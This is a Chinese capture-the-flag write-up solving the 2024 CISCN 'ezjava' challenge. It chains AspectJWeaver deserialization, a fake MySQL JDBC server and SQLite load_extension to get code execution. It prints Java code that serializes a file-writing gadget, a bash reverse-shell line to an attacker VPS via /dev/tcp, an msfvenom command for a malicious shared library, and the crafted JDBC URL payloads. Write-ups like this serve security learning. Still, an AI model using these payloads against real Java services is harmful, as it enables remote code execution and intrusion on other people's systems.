2024CISCN ezjava复现
文章目录
- 起点
- 源码分析
- 利用过程
- AspectJWeaver反序列化
- MySQL JDBC反序列化
- SQLite JDBC加载恶意动态链接库
- 总结
起点
首先打开题目,可以看到一个JDBC连接页面

猜测题目是跟JDBC ATTACK有关,把题目给的附件app.jar扔到jadx逆向还原,导出源码

源码分析
用IDEA打开导出的源码,进入com/example/jdbctest目录分析

分析发现controller/JdbcController.java定义了请求路由

关注services/DatasourceServiceImpl.java,发现其定义了数据库连接的类型,其中url可控且存在利用点,类型1对应Mysql,类型3对应Sqlite

那我们可以尝试打MySQL JDBC反序列化写文件和SQLite SSRF读文件,但是具体怎么打呢
继续分析,在META-INF/maven/com.example/jdbcTest/pom.xml发现aspectjweaver

同时关注到bean/UserBean.java有个readObject可以执行反序列化,且里面参数可控

可以打aspectjweaver反序列化,那思路就很清晰了,我们通过aspectjweaver反序列化写恶意so文件,然后用mysql jdbc反序列化开虚假mysql服务写入恶意文件,最后用sqlite ssrf加载so文件即可
利用过程
AspectJWeaver反序列化
aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类,其重写了HashMap的put方法,put方法中的writeToPath方法执行了写入文件的操作
具体可以参考文章:AspectJWeaver反序列化利用链
然后我们重新看看UserBean.java,里面的name、age都可控,obj可控因此a也可控,且内容age会进行base64解码后再写入

可以通过反射来获取属性,用setAccessible绕过访问限制,再修改其对应的值,可以参考上面文章的简单demo部分来写

具体payload如下
package com.example.test;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class Main {public static void main(String[] args) throws Exception {Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);HashMap map = (HashMap)con.newInstance("/tmp/", 1); //存放路径,必须要存在的Constructor constructor = Class.forName("com.example.jdbctest.bean.UserBean").getDeclaredConstructor();constructor.setAccessible(true);Object userBean = constructor.newInstance();Class cls = userBean.getClass();Field field = cls.getDeclaredField("obj");field.setAccessible(true);field.set(userBean, map);Field field1 = cls.getDeclaredField("name");field1.setAccessible(true);field1.set(userBean, "evil.so"); //文件名Field field2 = cls.getDeclaredField("age");field2.setAccessible(true);String payload = ""; //文件内容field2.set(userBean, payload);byte[] bytes = serialize(userBean);System.out.println(new String(Base64.getEncoder().encode(bytes)));}public static byte[] serialize(final Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}
}
文件内容我们就写恶意so文件导出的base64编码
先将要执行的命令进行base64编码
bash -c "bash -i >& /dev/tcp/你的vps地址/8888 0>&1"得到 YmFzaCAtYyAiYmFzaCAtaSA+Jxxxxxxx
用msfvenom创建恶意so文件
msfvenom -p linux/x64/exec CMD='echo 编码后的内容|base64 -d|bash' -f elf-so -o evil.so

接着执行cat evil.so | base64 -w0获取so文件编码后的内容,base64 -w0表示不换行

复制这段内容到payload里面,执行获取编码后的序列化数据

MySQL JDBC反序列化
接下来就是打mysql jdbc反序列化写文件,制作虚假mysql服务
原理可以参考:MySQL JDBC 反序列化漏洞分析
这里用工具Fake Server来制作虚假服务,链接:https://github.com/4ra1n/mysql-fake-server
把上面执行得到的序列化数据写入Gadget,如图所示,按顺序执行

ip这里要说下,由于一般本地电脑是没有公网ip的,你写自己的电脑ip进去是不行的,那怎么办,建议最好有个服务器吧,在服务器部署frp服务,然后内网穿透进行反向代理,可以参考文章内网穿透神器FRP部署教程,快的话十几分钟就可以,或者你买个短期的静态ip地址来用
我这里用frp进行反向代理连接我本地的端口
弄完之后,点击Copy Payload复制payload,然后重新打开题目网页选择Mysql随便输入内容抓个包,看看格式

把里面的url改成我们刚才复制的payload,然后发包
{"type":"1","url":"jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ1VTVE9N"}
获得如下结果就说明成功了

SQLite JDBC加载恶意动态链接库
最后就是通过SQLite加载恶意文件
可以参考文章:SQLite With SSRF
先在服务器开启nc监听
nc -lvvp 8888
然后构造payload发包,由于load_extension默认是关闭的,需要enable_load_extension=true开启才能用
{"type":"3","tableName":"(select(load_extension(\"/tmp/evil.so\")));","url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"}
成功反弹shell

读取flag文件发现权限不够,ls -l查看权限,发现flag没有执行权限,但是readflag存在执行权限,直接执行获取flag

总结
这道题用到了很多知识点,包括AspectJWeaver反序列化、MySQL JDBC反序列化和SQLite SSRF等,总体来说有些难度,也是参考了很多资料,建议深入学习这些知识点,尤其是JDBC方面的漏洞和Java反射机制,做题做下来感觉基础很重要,学好了做这种题就会轻松很多,与君共勉,继续加油!!
